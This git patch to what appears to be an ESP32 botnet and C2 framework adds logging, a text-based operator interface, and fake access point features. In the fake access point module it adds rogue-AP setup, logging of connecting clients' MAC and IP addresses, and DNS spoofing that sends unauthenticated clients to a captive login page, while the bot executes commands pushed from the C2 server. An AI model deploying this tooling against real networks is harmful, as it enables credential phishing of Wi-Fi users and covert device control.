From ce6f00e24a1ebf8f457f8b02a34701a6a67b4074 Mon Sep 17 00:00:00 2001 From: Eun0us Date: Fri, 6 Feb 2026 09:52:20 +0100 Subject: [PATCH] =?UTF-8?q?=CE=B5=20-=20TUI=20multi-pane=20Textual=20+=20c?= =?UTF-8?q?amera=20recording=20frontend=20+=20device=20naming=20fix?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 6 +- espilon_bot/components/command/command.c | 41 ++- espilon_bot/components/command/command.h | 1 + .../components/command/command_async.c | 2 +- espilon_bot/components/core/WiFi.c | 3 +- espilon_bot/components/core/com.c | 4 +- espilon_bot/components/core/crypto.c | 13 + espilon_bot/components/core/utils.h | 33 ++ .../components/mod_fakeAP/CMakeLists.txt | 4 +- .../components/mod_fakeAP/fakeAP_utils.h | 15 + .../components/mod_fakeAP/mod_fakeAP.c | 170 ++++++++- .../components/mod_fakeAP/mod_web_server.c | 3 + .../components/mod_system/cmd_system.c | 65 +++- espilon_bot/main/Kconfig | 48 +++ espilon_bot/main/bot-lwip.c | 38 +- tools/c2/c3po.py | 105 +++--- tools/c2/cli/cli.py | 89 +++-- tools/c2/cli/help.py | 341 +++++++++--------- tools/c2/core/device.py | 6 +- tools/c2/core/transport.py | 64 +++- tools/c2/static/images/no-signal.png | Bin 0 -> 18232 bytes .../c2/static/streams/192.168.1.47_58642.jpg | Bin 1877 -> 0 bytes tools/c2/streams/udp_receiver.py | 303 +++++++++++++--- tools/c2/templates/cameras.html | 226 +++++++++++- tools/c2/tui/__init__.py | 4 + tools/c2/tui/app.py | 295 +++++++++++++++ tools/c2/tui/bridge.py | 65 ++++ tools/c2/tui/styles/c2.tcss | 119 ++++++ tools/c2/tui/widgets/__init__.py | 5 + tools/c2/tui/widgets/command_input.py | 215 +++++++++++ tools/c2/tui/widgets/device_tabs.py | 159 ++++++++ tools/c2/tui/widgets/log_pane.py | 117 ++++++ tools/c2/utils/display.py | 86 +++++ tools/c2/web/server.py | 94 +++-- 34 files changed, 2373 insertions(+), 366 deletions(-) create mode 100644 tools/c2/static/images/no-signal.png delete mode 100644 tools/c2/static/streams/192.168.1.47_58642.jpg create mode 100644 tools/c2/tui/__init__.py create mode 100644 tools/c2/tui/app.py create mode 100644 tools/c2/tui/bridge.py create mode 100644 tools/c2/tui/styles/c2.tcss create mode 100644 tools/c2/tui/widgets/__init__.py create mode 100644 tools/c2/tui/widgets/command_input.py create mode 100644 tools/c2/tui/widgets/device_tabs.py create mode 100644 tools/c2/tui/widgets/log_pane.py diff --git a/.gitignore b/.gitignore index a2aeab8..2f52331 100644 --- a/.gitignore +++ b/.gitignore @@ -43,12 +43,16 @@ tools/c3po/config.json **/config.local.json # Logs -.avi *.log logs/ espilon_bot/logs/ sdkconfig +# C2 Runtime files (camera streams, recordings) +tools/c2/static/streams/*.jpg +tools/c2/static/recordings/*.avi +*.avi + # IDE and Editor .vscode/ !.vscode/settings.json diff --git a/espilon_bot/components/command/command.c b/espilon_bot/components/command/command.c index f309203..0bff82e 100644 --- a/espilon_bot/components/command/command.c +++ b/espilon_bot/components/command/command.c @@ -4,6 +4,7 @@ #include #include +#include static const char *TAG = "COMMAND"; @@ -36,7 +37,45 @@ void command_register(const command_t *cmd) } registry[registry_count++] = cmd; - ESP_LOGI(TAG, "Registered command: %s", cmd->name); +#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE + ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name); +#endif +} + +/* ========================================================= + * Summary + * ========================================================= */ +void command_log_registry_summary(void) +{ + if (registry_count == 0) { + ESPILON_LOGI_PURPLE(TAG, "Registered commands: none"); + return; + } + + char buf[512]; + int off = snprintf( + buf, + sizeof(buf), + "Registered commands (%d): ", + (int)registry_count + ); + + for (size_t i = 0; i < registry_count; i++) { + const char *name = registry[i] && registry[i]->name + ? registry[i]->name : "?"; + const char *sep = (i == 0) ? "" : ", "; + int n = snprintf(buf + off, sizeof(buf) - (size_t)off, + "%s%s", sep, name); + if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) { + if (off < (int)sizeof(buf) - 4) { + strcpy(buf + (sizeof(buf) - 4), "..."); + } + break; + } + off += n; + } + + ESPILON_LOGI_PURPLE(TAG, "%s", buf); } /* ========================================================= diff --git a/espilon_bot/components/command/command.h b/espilon_bot/components/command/command.h index 6841e42..4a30e90 100644 --- a/espilon_bot/components/command/command.h +++ b/espilon_bot/components/command/command.h @@ -39,6 +39,7 @@ typedef struct { * Registry * ============================================================ */ void command_register(const command_t *cmd); +void command_log_registry_summary(void); /* ============================================================ * Dispatcher (called by process.c) diff --git a/espilon_bot/components/command/command_async.c b/espilon_bot/components/command/command_async.c index 965c7e8..433eb3e 100644 --- a/espilon_bot/components/command/command_async.c +++ b/espilon_bot/components/command/command_async.c @@ -62,7 +62,7 @@ void command_async_init(void) NULL ); - ESP_LOGI(TAG, "Async command system ready"); + ESPILON_LOGI_PURPLE(TAG, "Async command system ready"); } /* ========================================================= diff --git a/espilon_bot/components/core/WiFi.c b/espilon_bot/components/core/WiFi.c index c766d4c..91cb34d 100644 --- a/espilon_bot/components/core/WiFi.c +++ b/espilon_bot/components/core/WiFi.c @@ -36,6 +36,7 @@ void wifi_init(void) ESP_ERROR_CHECK(esp_netif_init()); ESP_ERROR_CHECK(esp_event_loop_create_default()); esp_netif_create_default_wifi_sta(); + esp_netif_create_default_wifi_ap(); wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); ESP_ERROR_CHECK(esp_wifi_init(&cfg)); @@ -149,4 +150,4 @@ void tcp_client_task(void *pvParameters) } } -#endif /* CONFIG_NETWORK_WIFI */ \ No newline at end of file +#endif /* CONFIG_NETWORK_WIFI */ diff --git a/espilon_bot/components/core/com.c b/espilon_bot/components/core/com.c index 4fac24d..dceadce 100644 --- a/espilon_bot/components/core/com.c +++ b/espilon_bot/components/core/com.c @@ -9,7 +9,7 @@ bool com_init(void) { #ifdef CONFIG_NETWORK_WIFI - ESP_LOGI(TAG, "Init WiFi backend"); + ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend"); wifi_init(); @@ -28,7 +28,7 @@ bool com_init(void) #elif defined(CONFIG_NETWORK_GPRS) - ESP_LOGI(TAG, "Init GPRS backend"); + ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend"); setup_uart(); setup_modem(); diff --git a/espilon_bot/components/core/crypto.c b/espilon_bot/components/core/crypto.c index 124d1bb..151a0df 100644 --- a/espilon_bot/components/core/crypto.c +++ b/espilon_bot/components/core/crypto.c @@ -192,6 +192,7 @@ bool c2_decode_and_exec(const char *frame) free(plain); /* 4) Log + dispatch */ +#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE ESP_LOGI(TAG, "==== C2 COMMAND ===="); ESP_LOGI(TAG, "name: %s", cmd.command_name); ESP_LOGI(TAG, "argc: %d", cmd.argv_count); @@ -200,6 +201,18 @@ bool c2_decode_and_exec(const char *frame) ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]); } ESP_LOGI(TAG, "===================="); +#else + ESP_LOGI( + TAG, + "C2 CMD: %s argc=%d req=%s", + cmd.command_name, + cmd.argv_count, + cmd.request_id[0] ? cmd.request_id : "-" + ); + for (int i = 0; i < cmd.argv_count; i++) { + ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]); + } +#endif process_command(&cmd); return true; diff --git a/espilon_bot/components/core/utils.h b/espilon_bot/components/core/utils.h index b72cd9f..3e64747 100644 --- a/espilon_bot/components/core/utils.h +++ b/espilon_bot/components/core/utils.h @@ -7,6 +7,9 @@ extern "C" { #include #include #include +#include +#include +#include #include "sdkconfig.h" #include "esp_log.h" @@ -21,6 +24,36 @@ extern "C" { #define MAX_ARGS 10 #define MAX_RESPONSE_SIZE 1024 +/* ============================================================ + * LOG HELPERS + * ============================================================ */ +#ifdef CONFIG_LOG_COLORS +#define ESPILON_LOG_PURPLE "\033[0;35m" +#define ESPILON_LOG_RESET "\033[0m" +#else +#define ESPILON_LOG_PURPLE "" +#define ESPILON_LOG_RESET "" +#endif + +static inline void espilon_log_purple( + const char *tag, + const char *fmt, + ... +) { + va_list args; + va_start(args, fmt); + + printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ", + (uint32_t)esp_log_timestamp(), tag); + vprintf(fmt, args); + printf(ESPILON_LOG_RESET "\n"); + + va_end(args); +} + +#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \ + espilon_log_purple(tag, fmt, ##__VA_ARGS__) + /* Socket TCP global */ extern int sock; diff --git a/espilon_bot/components/mod_fakeAP/CMakeLists.txt b/espilon_bot/components/mod_fakeAP/CMakeLists.txt index e4db6fc..b36a9af 100644 --- a/espilon_bot/components/mod_fakeAP/CMakeLists.txt +++ b/espilon_bot/components/mod_fakeAP/CMakeLists.txt @@ -1,4 +1,4 @@ -idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c" +idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c" INCLUDE_DIRS . REQUIRES esp_http_server - PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core) \ No newline at end of file + PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command) \ No newline at end of file diff --git a/espilon_bot/components/mod_fakeAP/fakeAP_utils.h b/espilon_bot/components/mod_fakeAP/fakeAP_utils.h index 70f1ea4..002741f 100644 --- a/espilon_bot/components/mod_fakeAP/fakeAP_utils.h +++ b/espilon_bot/components/mod_fakeAP/fakeAP_utils.h @@ -17,3 +17,18 @@ void fakeap_mark_authenticated(ip4_addr_t ip); /* Internal use only - exported for mod_web_server.c */ extern ip4_addr_t authenticated_clients[MAX_CLIENTS]; extern int authenticated_count; + +/* ===== ACCESS POINT ===== */ +void start_access_point(const char *ssid, const char *password, bool open); +void stop_access_point(void); + +/* ===== CAPTIVE PORTAL ===== */ +void *start_captive_portal(void); +void stop_captive_portal(void); + +/* ===== SNIFFER ===== */ +void start_sniffer(void); +void stop_sniffer(void); + +/* ===== CLIENTS ===== */ +void list_connected_clients(void); diff --git a/espilon_bot/components/mod_fakeAP/mod_fakeAP.c b/espilon_bot/components/mod_fakeAP/mod_fakeAP.c index 164a1e5..0ee3c3f 100644 --- a/espilon_bot/components/mod_fakeAP/mod_fakeAP.c +++ b/espilon_bot/components/mod_fakeAP/mod_fakeAP.c @@ -5,7 +5,7 @@ #include "esp_log.h" #include "esp_wifi.h" #include "esp_netif.h" -#include "lwip/lwip_napt.h" +#include "esp_event.h" #include "lwip/sockets.h" #include "lwip/netdb.h" #include "freertos/FreeRTOS.h" @@ -16,6 +16,12 @@ #include "utils.h" static const char *TAG = "MODULE_FAKE_AP"; +static esp_netif_t *ap_netif = NULL; +static bool ap_event_registered = false; +static esp_event_handler_instance_t ap_event_instance_connect; +static esp_event_handler_instance_t ap_event_instance_disconnect; +static bool ap_ip_event_registered = false; +static esp_event_handler_instance_t ap_event_instance_ip; /* ================= AUTH ================= */ ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */ @@ -67,6 +73,95 @@ static void fakeap_reset_auth(void) xSemaphoreGive(auth_mutex); } +/* ============================================================ + * CLIENTS + * ============================================================ */ +void list_connected_clients(void) +{ + wifi_sta_list_t sta_list; + esp_wifi_ap_get_sta_list(&sta_list); + + char buf[512]; + int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num); + + for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) { + off += snprintf(buf + off, sizeof(buf) - off, + " [%d] %02x:%02x:%02x:%02x:%02x:%02x\n", + i + 1, + sta_list.sta[i].mac[0], sta_list.sta[i].mac[1], + sta_list.sta[i].mac[2], sta_list.sta[i].mac[3], + sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]); + } + + msg_info(TAG, buf, NULL); +} + +static void fakeap_wifi_event_handler( + void *arg, + esp_event_base_t event_base, + int32_t event_id, + void *event_data +) { + if (event_base != WIFI_EVENT) { + return; + } + + if (event_id == WIFI_EVENT_AP_STACONNECTED) { + wifi_event_ap_staconnected_t *e = + (wifi_event_ap_staconnected_t *)event_data; + char msg[96]; + snprintf( + msg, + sizeof(msg), + "AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)", + e->mac[0], e->mac[1], e->mac[2], + e->mac[3], e->mac[4], e->mac[5], + e->aid + ); + msg_info(TAG, msg, NULL); + } else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) { + wifi_event_ap_stadisconnected_t *e = + (wifi_event_ap_stadisconnected_t *)event_data; + char msg[112]; + snprintf( + msg, + sizeof(msg), + "AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)", + e->mac[0], e->mac[1], e->mac[2], + e->mac[3], e->mac[4], e->mac[5], + e->aid, + e->reason + ); + msg_info(TAG, msg, NULL); + } +} + +static void fakeap_ip_event_handler( + void *arg, + esp_event_base_t event_base, + int32_t event_id, + void *event_data +) { + if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) { + return; + } + + ip_event_ap_staipassigned_t *e = + (ip_event_ap_staipassigned_t *)event_data; + char msg[128]; + snprintf( + msg, + sizeof(msg), + "AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> " + IPSTR, + e->mac[0], e->mac[1], e->mac[2], + e->mac[3], e->mac[4], e->mac[5], + IP2STR(&e->ip) + ); + ESP_LOGI(TAG, "%s", msg); + msg_info(TAG, msg, NULL); +} + /* ============================================================ * AP * ============================================================ */ @@ -90,6 +185,40 @@ void start_access_point(const char *ssid, const char *password, bool open) ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA)); + if (!ap_event_registered) { + ESP_ERROR_CHECK( + esp_event_handler_instance_register( + WIFI_EVENT, + WIFI_EVENT_AP_STACONNECTED, + &fakeap_wifi_event_handler, + NULL, + &ap_event_instance_connect + ) + ); + ESP_ERROR_CHECK( + esp_event_handler_instance_register( + WIFI_EVENT, + WIFI_EVENT_AP_STADISCONNECTED, + &fakeap_wifi_event_handler, + NULL, + &ap_event_instance_disconnect + ) + ); + ap_event_registered = true; + } + if (!ap_ip_event_registered) { + ESP_ERROR_CHECK( + esp_event_handler_instance_register( + IP_EVENT, + IP_EVENT_AP_STAIPASSIGNED, + &fakeap_ip_event_handler, + NULL, + &ap_event_instance_ip + ) + ); + ap_ip_event_registered = true; + } + wifi_config_t cfg = {0}; strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid)); cfg.ap.ssid_len = strlen(ssid); @@ -105,21 +234,43 @@ void start_access_point(const char *ssid, const char *password, bool open) ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg)); vTaskDelay(pdMS_TO_TICKS(2000)); - esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); - esp_netif_ip_info_t ip; - esp_netif_get_ip_info(ap, &ip); + if (!ap_netif) { + ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); + } + if (!ap_netif) { + ap_netif = esp_netif_create_default_wifi_ap(); + } + if (!ap_netif) { + ESP_LOGE(TAG, "Failed to create AP netif"); + return; + } - esp_netif_dhcps_stop(ap); + esp_netif_ip_info_t ip = { + .ip.addr = ESP_IP4TOADDR(192, 168, 4, 1), + .gw.addr = ESP_IP4TOADDR(192, 168, 4, 1), + .netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0), + }; + + esp_netif_dhcps_stop(ap_netif); + esp_netif_set_ip_info(ap_netif, &ip); esp_netif_dhcps_option( - ap, + ap_netif, ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, &ip.ip, sizeof(ip.ip) ); - esp_netif_dhcps_start(ap); + esp_netif_dhcps_start(ap_netif); + ESP_LOGI(TAG, + "AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR, + IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask)); + ESP_LOGI(TAG, "DHCP server started"); - ip_napt_enable(ip.ip.addr, 1); + /* + * Note: NAPT disabled - causes crashes with lwip mem_free assertion. + * FakeAP works without NAPT (no internet sharing to clients). + * TODO: Fix NAPT if internet sharing is needed. + */ dns_param_t *p = calloc(1, sizeof(*p)); p->captive_portal = open; @@ -198,7 +349,10 @@ void dns_forwarder_task(void *pv) ip4_addr_t ip; ip.addr = cli.sin_addr.s_addr; + ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip)); + if (captive && !fakeap_is_authenticated(ip)) { + ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP); send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP)); continue; } diff --git a/espilon_bot/components/mod_fakeAP/mod_web_server.c b/espilon_bot/components/mod_fakeAP/mod_web_server.c index fd14394..10c3076 100644 --- a/espilon_bot/components/mod_fakeAP/mod_web_server.c +++ b/espilon_bot/components/mod_fakeAP/mod_web_server.c @@ -76,6 +76,8 @@ static const char *LOGIN_PAGE = * ============================================================ */ static esp_err_t captive_portal_handler(httpd_req_t *req) { + ESP_LOGI(TAG, "HTTP request received: %s", req->uri); + struct sockaddr_in addr; socklen_t len = sizeof(addr); @@ -85,6 +87,7 @@ static esp_err_t captive_portal_handler(httpd_req_t *req) ip4_addr_t client_ip; client_ip.addr = addr.sin_addr.s_addr; + ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip)); if (is_already_authenticated(client_ip)) { httpd_resp_set_status(req, "302 Found"); diff --git a/espilon_bot/components/mod_system/cmd_system.c b/espilon_bot/components/mod_system/cmd_system.c index 2b9587f..c0c51ee 100644 --- a/espilon_bot/components/mod_system/cmd_system.c +++ b/espilon_bot/components/mod_system/cmd_system.c @@ -98,18 +98,79 @@ static int cmd_system_uptime( return 0; } +/* ============================================================ + * COMMAND: system_info + * ============================================================ */ +static int cmd_system_info( + int argc, + char **argv, + const char *req, + void *ctx +) { + (void)argc; + (void)argv; + (void)ctx; + + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + uint32_t heap_free = esp_get_free_heap_size(); + uint64_t uptime_sec = esp_timer_get_time() / 1000000ULL; + + char buf[512]; + int len = 0; + + len += snprintf(buf + len, sizeof(buf) - len, + "chip=%s cores=%d flash=%s heap=%"PRIu32" uptime=%llus modules=", + CONFIG_IDF_TARGET, + chip_info.cores, + (chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external", + heap_free, + (unsigned long long)uptime_sec + ); + + // List loaded modules + int first = 1; +#ifdef CONFIG_MODULE_NETWORK + len += snprintf(buf + len, sizeof(buf) - len, "%snetwork", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_FAKEAP + len += snprintf(buf + len, sizeof(buf) - len, "%sfakeap", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_RECON + #ifdef CONFIG_RECON_MODE_CAMERA + len += snprintf(buf + len, sizeof(buf) - len, "%scamera", first ? "" : ","); + first = 0; + #endif + #ifdef CONFIG_RECON_MODE_MLAT + len += snprintf(buf + len, sizeof(buf) - len, "%smlat", first ? "" : ","); + first = 0; + #endif +#endif + + if (first) { + len += snprintf(buf + len, sizeof(buf) - len, "none"); + } + + msg_info(TAG, buf, req); + return 0; +} + /* ============================================================ * COMMAND REGISTRATION * ============================================================ */ static const command_t system_cmds[] = { { "system_reboot", 0, 0, cmd_system_reboot, NULL, false }, { "system_mem", 0, 0, cmd_system_mem, NULL, false }, - { "system_uptime", 0, 0, cmd_system_uptime, NULL, false } + { "system_uptime", 0, 0, cmd_system_uptime, NULL, false }, + { "system_info", 0, 0, cmd_system_info, NULL, false } }; void mod_system_register_commands(void) { - ESP_LOGI(TAG, "Registering system commands"); + ESPILON_LOGI_PURPLE(TAG, "Registering system commands"); for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) { command_register(&system_cmds[i]); diff --git a/espilon_bot/main/Kconfig b/espilon_bot/main/Kconfig index cc9b9fb..fa7cfcd 100644 --- a/espilon_bot/main/Kconfig +++ b/espilon_bot/main/Kconfig @@ -126,4 +126,52 @@ config CRYPTO_NONCE endmenu +################################################ +# Logging +################################################ +menu "Logging" + +choice ESPILON_LOG_LEVEL + prompt "Default log level" + default ESPILON_LOG_LEVEL_INFO + +config ESPILON_LOG_LEVEL_ERROR + bool "Error" + +config ESPILON_LOG_LEVEL_WARN + bool "Warn" + +config ESPILON_LOG_LEVEL_INFO + bool "Info" + +config ESPILON_LOG_LEVEL_DEBUG + bool "Debug" + +config ESPILON_LOG_LEVEL_VERBOSE + bool "Verbose" + +endchoice + +config ESPILON_LOG_CMD_REG_VERBOSE + bool "Verbose command registration logs" + default n + help + If enabled, log each command registration. + Otherwise, a single summary line is printed. + +config ESPILON_LOG_C2_VERBOSE + bool "Verbose C2 command logs" + default n + help + If enabled, print the full C2 command block + (name, argc, request id, args). + +config ESPILON_LOG_BOOT_SUMMARY + bool "Show boot summary header" + default y + help + Print a BOOT SUMMARY header at startup. + +endmenu + endmenu diff --git a/espilon_bot/main/bot-lwip.c b/espilon_bot/main/bot-lwip.c index 224b151..e78e162 100644 --- a/espilon_bot/main/bot-lwip.c +++ b/espilon_bot/main/bot-lwip.c @@ -27,6 +27,31 @@ static const char *TAG = "MAIN"; +static esp_log_level_t espilon_log_level_from_kconfig(void) +{ +#if defined(CONFIG_ESPILON_LOG_LEVEL_ERROR) + return ESP_LOG_ERROR; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_WARN) + return ESP_LOG_WARN; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_INFO) + return ESP_LOG_INFO; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_DEBUG) + return ESP_LOG_DEBUG; +#elif defined(CONFIG_ESPILON_LOG_LEVEL_VERBOSE) + return ESP_LOG_VERBOSE; +#else + return ESP_LOG_INFO; +#endif +} + +static void espilon_log_init(void) +{ + esp_log_level_set("*", espilon_log_level_from_kconfig()); +#ifdef CONFIG_ESPILON_LOG_BOOT_SUMMARY + ESPILON_LOGI_PURPLE(TAG, "===== BOOT SUMMARY ====="); +#endif +} + static void init_nvs(void) { esp_err_t ret = nvs_flash_init(); @@ -40,10 +65,10 @@ static void init_nvs(void) void app_main(void) { + espilon_log_init(); ESP_LOGI(TAG, "Booting system"); init_nvs(); - vTaskDelay(pdMS_TO_TICKS(1200)); /* ===================================================== * Command system @@ -55,28 +80,31 @@ void app_main(void) /* Register enabled modules */ #ifdef CONFIG_MODULE_NETWORK mod_network_register_commands(); - ESP_LOGI(TAG, "Network module loaded"); + ESPILON_LOGI_PURPLE(TAG, "Network module loaded"); #endif #ifdef CONFIG_MODULE_FAKEAP mod_fakeap_register_commands(); - ESP_LOGI(TAG, "FakeAP module loaded"); + ESPILON_LOGI_PURPLE(TAG, "FakeAP module loaded"); #endif #ifdef CONFIG_MODULE_RECON #ifdef CONFIG_RECON_MODE_CAMERA mod_camera_register_commands(); - ESP_LOGI(TAG, "Camera module loaded"); + ESPILON_LOGI_PURPLE(TAG, "Camera module loaded"); #endif #ifdef CONFIG_RECON_MODE_MLAT mod_mlat_register_commands(); - ESP_LOGI(TAG, "MLAT module loaded"); + ESPILON_LOGI_PURPLE(TAG, "MLAT module loaded"); #endif #endif + command_log_registry_summary(); + /* ===================================================== * Network backend * ===================================================== */ + vTaskDelay(pdMS_TO_TICKS(1200)); if (!com_init()) { ESP_LOGE(TAG, "Network backend init failed"); return; diff --git a/tools/c2/c3po.py b/tools/c2/c3po.py index 7ab5f25..b798f93 100644 --- a/tools/c2/c3po.py +++ b/tools/c2/c3po.py @@ -3,13 +3,8 @@ import socket import threading import re import sys -import time # Added missing import - -#!/usr/bin/env python3 -import socket -import threading -import re -import sys +import time +import argparse from core.registry import DeviceRegistry from core.transport import Transport @@ -19,7 +14,7 @@ from commands.registry import CommandRegistry from commands.reboot import RebootCommand from core.groups import GroupRegistry from utils.constant import HOST, PORT -from utils.display import Display # Import Display utility +from utils.display import Display # Strict base64 validation (ESP sends BASE64 + '\n') BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$') @@ -88,34 +83,27 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev # Main server # ============================================================ def main(): + # Parse arguments + parser = argparse.ArgumentParser(description="C3PO - ESPILON C2 Framework") + parser.add_argument("--tui", action="store_true", help="Launch with TUI interface") + args = parser.parse_args() + header = """ - - $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ - -$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ -$$ _____|$$ __$$\ $$ __$$\ \_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\ -$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ | -$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ | -$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/ -$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ | -$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\ -\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________| - - - - $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ -$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\ -$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ | -$$ | $$$$$ / $$$$$$$ |$$ | $$ | -$$ | \___$$\ $$ ____/ $$ | $$ | -$$ | $$\ $$\ $$ |$$ | $$ | $$ | -\$$$$$$ |\$$$$$$ |$$ | $$$$$$ | - \______/ \______/ \__| \______/ + $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\\ +$$ __$$\\ $$ ___$$\\ $$ __$$\\ $$ __$$\\ +$$ / \\__|\_/ $$ |$$ | $$ |$$ / $$ | +$$ | $$$$$ / $$$$$$$ |$$ | $$ | +$$ | \\___$$\\ $$ ____/ $$ | $$ | +$$ | $$\\ $$\\ $$ |$$ | $$ | $$ | +\\$$$$$$ |\\$$$$$$ |$$ | $$$$$$ | + \\______/ \\______/ \\__| \\______/ ESPILON C2 Framework - Command and Control Server """ - Display.system_message(header) - Display.system_message("Initializing ESPILON C2 core...") + + if not args.tui: + Display.system_message(header) + Display.system_message("Initializing ESPILON C2 core...") # ============================ # Core components @@ -150,7 +138,9 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ | sys.exit(1) server.listen() - Display.system_message(f"Server listening on {HOST}:{PORT}") + + if not args.tui: + Display.system_message(f"Server listening on {HOST}:{PORT}") # Function to periodically check device status def device_status_checker(): @@ -162,30 +152,51 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ | device.status = "Inactive" Display.device_event(device.id, "Status changed to Inactive (timeout)") elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS: - # If a device that was inactive sends a heartbeat, set it back to Connected device.status = "Connected" Display.device_event(device.id, "Status changed to Connected (heartbeat received)") time.sleep(HEARTBEAT_CHECK_INTERVAL) - # CLI thread - threading.Thread(target=cli.loop, daemon=True).start() + # Function to accept client connections + def accept_loop(): + while True: + try: + sock, addr = server.accept() + threading.Thread( + target=client_thread, + args=(sock, addr, transport, registry), + daemon=True + ).start() + except OSError: + break + except Exception as e: + Display.error(f"Server error: {e}") + # Device status checker thread threading.Thread(target=device_status_checker, daemon=True).start() + # Accept loop thread + threading.Thread(target=accept_loop, daemon=True).start() - # Accept loop - while True: + # ============================ + # TUI or CLI mode + # ============================ + if args.tui: try: - sock, addr = server.accept() - threading.Thread( - target=client_thread, - args=(sock, addr, transport, registry), # Pass registry to client_thread - daemon=True - ).start() + from tui.app import C3POApp + Display.enable_tui_mode() + app = C3POApp(registry=registry, cli=cli) + app.run() + except ImportError as e: + Display.error(f"TUI not available: {e}") + Display.error("Install textual: pip install textual") + sys.exit(1) + except KeyboardInterrupt: + pass + else: + # Classic CLI mode + try: + cli.loop() except KeyboardInterrupt: Display.system_message("Shutdown requested. Exiting...") - break - except Exception as e: - Display.error(f"Server error: {e}") server.close() diff --git a/tools/c2/cli/cli.py b/tools/c2/cli/cli.py index 8b6fe10..f6ff0d2 100644 --- a/tools/c2/cli/cli.py +++ b/tools/c2/cli/cli.py @@ -85,49 +85,59 @@ class CLI: if not cmd: continue - parts = cmd.split() - action = parts[0] - - if action == "help": - self.help_manager.show(parts[1:]) - continue - - if action == "exit": + if cmd == "exit": return - if action == "clear": - os.system("cls" if os.name == "nt" else "clear") - continue + self.execute_command(cmd) - if action == "list": - self._handle_list() - continue + def execute_command(self, cmd: str): + """Execute a command string. Used by both CLI loop and TUI.""" + if not cmd: + return - if action == "modules": - self.help_manager.show_modules() - continue + parts = cmd.split() + action = parts[0] - if action == "group": - self._handle_group(parts[1:]) - continue + if action == "help": + self.help_manager.show(parts[1:]) + return - if action == "send": - self._handle_send(parts) - continue + if action == "exit": + return - if action == "active_commands": - self._handle_active_commands() - continue + if action == "clear": + os.system("cls" if os.name == "nt" else "clear") + return - if action == "web": - self._handle_web(parts[1:]) - continue + if action == "list": + self._handle_list() + return - if action == "camera": - self._handle_camera(parts[1:]) - continue + if action == "modules": + 